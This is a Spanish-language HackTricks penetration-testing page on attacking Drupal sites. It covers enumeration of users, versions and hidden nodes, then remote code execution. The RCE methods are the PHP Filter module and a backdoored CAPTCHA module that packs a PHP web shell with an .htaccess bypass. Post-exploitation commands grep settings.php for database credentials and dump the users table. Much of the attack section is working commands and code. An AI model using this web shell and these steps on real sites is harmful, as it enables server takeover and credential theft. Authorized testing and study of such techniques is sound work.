9.1 KiB
Drupal
Aprende hacking en AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
{% embed url="https://websec.nl/" %}
Descubrimiento
- Verifica meta
curl https://www.drupal.org/ | grep 'content="Drupal'
- Nodo: Drupal indexa su contenido utilizando nodos. Un nodo puede contener cualquier cosa como una publicación de blog, encuesta, artículo, etc. Las URIs de las páginas suelen tener la forma
/node/<nodeid>
.
curl drupal-site.com/node/1
Enumeración
Drupal admite tres tipos de usuarios de forma predeterminada:
Administrador
: Este usuario tiene control total sobre el sitio web de Drupal.Usuario Autenticado
: Estos usuarios pueden iniciar sesión en el sitio web y realizar operaciones como agregar y editar artículos según sus permisos.Anónimo
: Todos los visitantes del sitio web se designan como anónimos. Por defecto, a estos usuarios solo se les permite leer publicaciones.
Versión
- Verificar
/CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
{% hint style="info" %}
Las nuevas instalaciones de Drupal bloquean por defecto el acceso a los archivos CHANGELOG.txt
y README.txt
.
{% endhint %}
Enumeración de nombres de usuario
Registro
En /user/register simplemente intenta crear un nombre de usuario y si el nombre ya está tomado, se te notificará:
Solicitar nueva contraseña
Si solicitas una nueva contraseña para un nombre de usuario existente:
Si solicitas una nueva contraseña para un nombre de usuario que no existe:
Obtener número de usuarios
Accediendo a /user/<número> puedes ver la cantidad de usuarios existentes, en este caso son 2 ya que /users/3 devuelve un error de no encontrado:
Páginas ocultas
Fuzz /node/$
donde $
es un número (de 1 a 500 por ejemplo).
Podrías encontrar páginas ocultas (de prueba, desarrollo) que no están referenciadas por los motores de búsqueda.
Información de módulos instalados
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
Automático
droopescan scan drupal -u http://drupal-site.local
RCE
Con el Módulo Filtro PHP
{% hint style="warning" %}
En versiones antiguas de Drupal (antes de la versión 8), era posible iniciar sesión como administrador y habilitar el módulo PHP filter
, que "Permite evaluar código/snippets PHP incrustados."
{% endhint %}
Necesitas que el plugin php esté instalado (verifica accediendo a /modules/php y si devuelve un 403 entonces, existe, si no se encuentra, entonces el plugin php no está instalado)
Ve a Módulos -> (Marca) Filtro PHP -> Guardar configuración
Luego haz clic en Agregar contenido -> Selecciona Página básica o Artículo -> Escribe código shell php en el cuerpo -> Selecciona Código PHP en Formato de texto -> Selecciona Vista previa
Finalmente solo accede al nodo recién creado:
curl http://drupal-site.local/node/3
Instalar el Módulo PHP Filter
Desde la versión 8 en adelante, el módulo PHP Filter no se instala por defecto. Para aprovechar esta funcionalidad, tendríamos que instalar el módulo nosotros mismos.
- Descargar la versión más reciente del módulo desde el sitio web de Drupal.
- wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- Una vez descargado, ir a
Administración
>Informes
>Actualizaciones disponibles
. - Hacer clic en
Examinar
, seleccionar el archivo del directorio donde lo descargamos y luego hacer clic enInstalar
. - Una vez instalado el módulo, podemos hacer clic en
Contenido
y crear una nueva página básica, similar a como lo hicimos en el ejemplo de Drupal 7. Nuevamente, asegúrese de seleccionarCódigo PHP
desde el menú desplegable deFormato de texto
.
Módulo con Puerta Trasera
Un módulo con puerta trasera se puede crear agregando un shell a un módulo existente. Los módulos se pueden encontrar en el sitio web drupal.org. Elija un módulo como CAPTCHA. Desplácese hacia abajo y copie el enlace para el archivo tar.gz archivo.
- Descargue el archivo y extraiga su contenido.
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
- Crear una shell web en PHP con el contenido:
<?php
system($_GET["cmd"]);
?>
- A continuación, necesitamos crear un archivo
.htaccess
para darnos acceso a la carpeta. Esto es necesario ya que Drupal niega el acceso directo a la carpeta/modules
.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
- La configuración anterior aplicará reglas para la carpeta / cuando solicitemos un archivo en /modules. Copia ambos de estos archivos a la carpeta captcha y crea un archivo.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
- Suponiendo que tenemos acceso administrativo al sitio web, haz clic en
Administrar
y luego enExtender
en la barra lateral. A continuación, haz clic en el botón+ Instalar nuevo módulo
, y seremos llevados a la página de instalación, comohttp://drupal-site.local/admin/modules/install
. Navega hasta el archivo de Captcha con puerta trasera y haz clic enInstalar
. - Una vez que la instalación tenga éxito, navega a
/modules/captcha/shell.php
para ejecutar comandos.
Post Explotación
Leer settings.php
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
Volcar usuarios de la base de datos
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
Referencias
{% embed url="https://websec.nl/" %}
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.